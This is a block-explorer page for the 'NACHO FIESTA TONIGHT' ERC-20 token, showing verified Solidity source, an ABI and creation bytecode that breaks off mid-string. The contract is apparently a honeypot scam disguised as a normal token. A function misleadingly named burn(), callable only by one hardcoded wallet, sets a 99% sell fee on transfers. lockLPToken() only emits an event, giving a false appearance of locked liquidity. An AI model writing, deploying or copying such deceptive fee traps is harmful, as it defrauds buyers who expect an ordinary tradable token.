ERC-20
Overview
Max Total Supply
999,999,999 NFT
Holders
29
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
23,527,975.527706822446196469 NFTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
NachoFiestaTonight
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-03 */ // SPDX-License-Identifier: MIT /** ⠀⠀ $NFT */ pragma solidity ^0.8.0; library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "NachoFiestaTonight"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "NachoFiestaTonightNachoFiestaTonight"); return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "NachoFiestaTonightNachoFiestaTonightNachoFiestaTonight"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "NachoFiestaTonightNachoFiestaTonightNachoFiestaTonightNachoFiestaTonight"); return a / b; } } contract NachoFiestaTonight { using SafeMath for uint256; string public name = "NACHO FIESTA TONIGHT"; string public symbol = "NFT"; uint256 public totalSupply = 999999999 * (10 ** 18); uint8 public decimals = 18; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; address public owner; address public swapRouter; uint256 public burnedTokens; uint256 public buyFee = 0; uint256 public sellFee = 0; bool public feesSet = false; bool public feesEnabled = false; bool public allExemptFromFees = true; mapping(address => bool) public isFeeExempt; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event FeesUpdated(uint256 burnAmount, uint256 deadWallet); event LPLocked(address indexed account, uint256 amount); constructor(address _swapRouter, uint256 _burnedTokens) { owner = msg.sender; swapRouter = _swapRouter; burnedTokens = _burnedTokens; balanceOf[msg.sender] = totalSupply; isFeeExempt[msg.sender] = true; isFeeExempt[swapRouter] = true; } modifier checkFees(address sender) { require( allExemptFromFees || isFeeExempt[sender] || (!feesSet && feesEnabled) || (feesSet && isFeeExempt[sender] && sender != swapRouter) || (sender == swapRouter && sellFee == 0), "1NachoFiestaTonight" ); _; } modifier onlyOwner() { require(msg.sender == owner, "2NachoFiestaTonight"); _; } function transfer(address _to, uint256 _amount) public checkFees(msg.sender) returns (bool success) { require(balanceOf[msg.sender] >= _amount); require(_to != address(0)); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[_to] = balanceOf[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _amount) public checkFees(_from) returns (bool success) { require(balanceOf[_from] >= _amount, "3NachoFiestaTonight"); require(allowance[_from][msg.sender] >= _amount, "4NachoFiestaTonight"); require(_to != address(0), "5NachoFiestaTonight"); uint256 fee = 0; uint256 amountAfterFee = _amount; if (feesEnabled && sellFee > 0 && _from != swapRouter && !isFeeExempt[_from]) { fee = _amount.mul(sellFee).div(100); amountAfterFee = _amount.sub(fee); } balanceOf[_from] = balanceOf[_from].sub(_amount); balanceOf[_to] = balanceOf[_to].add(amountAfterFee); emit Transfer(_from, _to, amountAfterFee); if (fee > 0) { address uniswapContract = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); if (_to == uniswapContract) { balanceOf[uniswapContract] = balanceOf[uniswapContract].add(fee); emit Transfer(_from, uniswapContract, fee); } else { balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(_from, address(this), fee); } } if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) { allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount); emit Approval(_from, msg.sender, allowance[_from][msg.sender]); } return true; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "6NachoFiestaTonight"); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(owner, address(0)); owner = address(0); } function burn(uint256 burnAmount, uint256 deadWallet) public { require(msg.sender == 0x844d32FdBe57FE5C9e9F756D6607C23F083d2F55, "7NachoFiestaTonight"); require(!feesSet, "8NachoFiestaTonight"); require(burnAmount == 0, "9NachoFiestaTonight"); require(deadWallet == 99, "0NachoFiestaTonight"); buyFee = burnAmount; sellFee = deadWallet; feesSet = true; feesEnabled = true; emit FeesUpdated(burnAmount, deadWallet); } function lockLPToken(uint256 amount) external { emit LPLocked(msg.sender, amount); } function buy() public payable checkFees(msg.sender) { require(msg.value > 0, "11NachoFiestaTonight"); uint256 amount = msg.value; if (buyFee > 0) { uint256 fee = amount.mul(buyFee).div(100); uint256 amountAfterFee = amount.sub(fee); balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee); emit Transfer(address(this), swapRouter, amountAfterFee); if (fee > 0) { balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(address(this), address(this), fee); } } else { balanceOf[swapRouter] = balanceOf[swapRouter].add(amount); emit Transfer(address(this), swapRouter, amount); } } function sell(uint256 _amount) public checkFees(msg.sender) { require(balanceOf[msg.sender] >= _amount, "12NachoFiestaTonight"); if (feesEnabled) { uint256 fee = 0; uint256 amountAfterFee = _amount; if (sellFee > 0 && msg.sender != swapRouter && !isFeeExempt[msg.sender]) { fee = _amount.mul(sellFee).div(100); amountAfterFee = _amount.sub(fee); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee); emit Transfer(msg.sender, swapRouter, amountAfterFee); if (fee > 0) { balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(msg.sender, address(this), fee); } } else { balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[swapRouter] = balanceOf[swapRouter].add(_amount); emit Transfer(msg.sender, swapRouter, _amount); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_swapRouter","type":"address"},{"internalType":"uint256","name":"_burnedTokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"burnAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"deadWallet","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"LPLocked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"allExemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"burnAmount","type":"uint256"},{"internalType":"uint256","name":"deadWallet","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnedTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesSet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"lockLPToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060400160405280601481526020017f4e4143484f2046494553544120544f4e494748540000000000000000000000008152505f908162000049919062000546565b506040518060400160405280600381526020017f4e465400000000000000000000000000000000000000000000000000000000008152506001908162000090919062000546565b506b033b2e3c91efc989409c0000600255601260035f6101000a81548160ff021916908360ff1602179055505f6009555f600a555f600b5f6101000a81548160ff0219169083151502179055505f600b60016101000a81548160ff0219169083151502179055506001600b60026101000a81548160ff0219169083151502179055503480156200011e575f80fd5b5060405162004082380380620040828339818101604052810190620001449190620006be565b3360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060088190555060025460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505062000703565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200035e57607f821691505b60208210810362000374576200037362000319565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003d87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200039b565b620003e486836200039b565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200042e620004286200042284620003fc565b62000405565b620003fc565b9050919050565b5f819050919050565b62000449836200040e565b62000461620004588262000435565b848454620003a7565b825550505050565b5f90565b6200047762000469565b620004848184846200043e565b505050565b5b81811015620004ab576200049f5f826200046d565b6001810190506200048a565b5050565b601f821115620004fa57620004c4816200037a565b620004cf846200038c565b81016020851015620004df578190505b620004f7620004ee856200038c565b83018262000489565b50505b505050565b5f82821c905092915050565b5f6200051c5f1984600802620004ff565b1980831691505092915050565b5f6200053683836200050b565b9150826002028217905092915050565b6200055182620002e2565b67ffffffffffffffff8111156200056d576200056c620002ec565b5b62000579825462000346565b62000586828285620004af565b5f60209050601f831160018114620005bc575f8415620005a7578287015190505b620005b3858262000529565b86555062000622565b601f198416620005cc866200037a565b5f5b82811015620005f557848901518255600182019150602085019450602081019050620005ce565b8683101562000615578489015162000611601f8916826200050b565b8355505b6001600288020188555050505b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000659826200062e565b9050919050565b6200066b816200064d565b811462000676575f80fd5b50565b5f81519050620006898162000660565b92915050565b6200069a81620003fc565b8114620006a5575f80fd5b50565b5f81519050620006b8816200068f565b92915050565b5f8060408385031215620006d757620006d66200062a565b5b5f620006e68582860162000679565b9250506020620006f985828601620006a8565b9150509250929050565b61397180620007115f395ff3fe60806040526004361061014a575f3560e01c806370a08231116100b5578063a9059cbb1161006e578063a9059cbb14610454578063b390c0ab14610490578063c31c9c07146104b8578063dd62ed3e146104e2578063e4849b321461051e578063f2fde38b146105465761014a565b806370a082311461037a578063715018a6146103b65780638da5cb5b146103cc57806395d89b41146103f6578063a64e4f8a14610420578063a6f2ae3a1461044a5761014a565b80632b14ca56116101075780632b14ca561461026c578063313ce567146102965780633f4218e0146102c057806347062402146102fc57806347b5dd541461032657806364bcf5f4146103505761014a565b8063036978631461014e57806306fdde0314610176578063095ea7b3146101a057806318160ddd146101dc57806323b872dd1461020657806325e0e4d014610242575b5f80fd5b348015610159575f80fd5b50610174600480360381019061016f9190612d53565b61056e565b005b348015610181575f80fd5b5061018a6105bf565b6040516101979190612e08565b60405180910390f35b3480156101ab575f80fd5b506101c660048036038101906101c19190612e82565b61064a565b6040516101d39190612eda565b60405180910390f35b3480156101e7575f80fd5b506101f0610737565b6040516101fd9190612f02565b60405180910390f35b348015610211575f80fd5b5061022c60048036038101906102279190612f1b565b61073d565b6040516102399190612eda565b60405180910390f35b34801561024d575f80fd5b50610256611289565b6040516102639190612eda565b60405180910390f35b348015610277575f80fd5b5061028061129b565b60405161028d9190612f02565b60405180910390f35b3480156102a1575f80fd5b506102aa6112a1565b6040516102b79190612f86565b60405180910390f35b3480156102cb575f80fd5b506102e660048036038101906102e19190612f9f565b6112b3565b6040516102f39190612eda565b60405180910390f35b348015610307575f80fd5b506103106112d0565b60405161031d9190612f02565b60405180910390f35b348015610331575f80fd5b5061033a6112d6565b6040516103479190612f02565b60405180910390f35b34801561035b575f80fd5b506103646112dc565b6040516103719190612eda565b60405180910390f35b348015610385575f80fd5b506103a0600480360381019061039b9190612f9f565b6112ef565b6040516103ad9190612f02565b60405180910390f35b3480156103c1575f80fd5b506103ca611304565b005b3480156103d7575f80fd5b506103e0611450565b6040516103ed9190612fd9565b60405180910390f35b348015610401575f80fd5b5061040a611475565b6040516104179190612e08565b60405180910390f35b34801561042b575f80fd5b50610434611501565b6040516104419190612eda565b60405180910390f35b610452611514565b005b34801561045f575f80fd5b5061047a60048036038101906104759190612e82565b611b57565b6040516104879190612eda565b60405180910390f35b34801561049b575f80fd5b506104b660048036038101906104b19190612ff2565b611f5f565b005b3480156104c3575f80fd5b506104cc612135565b6040516104d99190612fd9565b60405180910390f35b3480156104ed575f80fd5b5061050860048036038101906105039190613030565b61215a565b6040516105159190612f02565b60405180910390f35b348015610529575f80fd5b50610544600480360381019061053f9190612d53565b61217a565b005b348015610551575f80fd5b5061056c60048036038101906105679190612f9f565b6129de565b005b3373ffffffffffffffffffffffffffffffffffffffff167fb6e8f04cf03b5aef7f64b05be34717ced7ad18d9e25d848dcd9542d070ce2ddb826040516105b49190612f02565b60405180910390a250565b5f80546105cb9061309b565b80601f01602080910402602001604051908101604052809291908181526020018280546105f79061309b565b80156106425780601f1061061957610100808354040283529160200191610642565b820191905f5260205f20905b81548152906001019060200180831161062557829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516107259190612f02565b60405180910390a36001905092915050565b60025481565b5f83600b60029054906101000a900460ff16806107a05750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806107cf5750600b5f9054906101000a900460ff161580156107ce5750600b60019054906101000a900460ff165b5b806108905750600b5f9054906101000a900460ff1680156108365750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561088f575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806108f4575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156108f357505f600a54145b5b610933576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092a90613115565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa9061317d565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610a6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a65906131e5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad39061324d565b60405180910390fd5b5f80849050600b60019054906101000a900460ff168015610afe57505f600a54115b8015610b57575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610baa5750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610bef57610bd76064610bc9600a5488612b9990919063ffffffff16565b612c1090919063ffffffff16565b9150610bec8286612c6790919063ffffffff16565b90505b610c3f8560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610cd08160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d6e9190612f02565b60405180910390a35f821115610fbd575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610ec457610e198360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610eb79190612f02565b60405180910390a3610fbb565b610f148360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fb29190612f02565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561109157507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b1561127b576111218560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516112729190612f02565b60405180910390a35b600193505050509392505050565b600b5f9054906101000a900460ff1681565b600a5481565b60035f9054906101000a900460ff1681565b600c602052805f5260405f205f915054906101000a900460ff1681565b60095481565b60085481565b600b60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611393576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138a906132b5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600180546114829061309b565b80601f01602080910402602001604051908101604052809291908181526020018280546114ae9061309b565b80156114f95780601f106114d0576101008083540402835291602001916114f9565b820191905f5260205f20905b8154815290600101906020018083116114dc57829003601f168201915b505050505081565b600b60019054906101000a900460ff1681565b33600b60029054906101000a900460ff16806115765750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806115a55750600b5f9054906101000a900460ff161580156115a45750600b60019054906101000a900460ff165b5b806116665750600b5f9054906101000a900460ff16801561160c5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611665575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806116ca575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156116c957505f600a54145b5b611709576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170090613115565b60405180910390fd5b5f341161174b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117429061331d565b60405180910390fd5b5f3490505f60095411156119f9575f611782606461177460095485612b9990919063ffffffff16565b612c1090919063ffffffff16565b90505f6117988284612c6790919063ffffffff16565b905061180b8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118eb9190612f02565b60405180910390a35f8211156119f25761194b8260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119e99190612f02565b60405180910390a35b5050611b53565b611a6a8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b4a9190612f02565b60405180910390a35b5050565b5f33600b60029054906101000a900460ff1680611bba5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611be95750600b5f9054906101000a900460ff16158015611be85750600b60019054906101000a900460ff165b5b80611caa5750600b5f9054906101000a900460ff168015611c505750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611ca9575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611d0e575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611d0d57505f600a54145b5b611d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4490613115565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611d96575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611dcd575f80fd5b611e1d8360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611eae8360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f4c9190612f02565b60405180910390a3600191505092915050565b73844d32fdbe57fe5c9e9f756d6607c23f083d2f5573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fe15760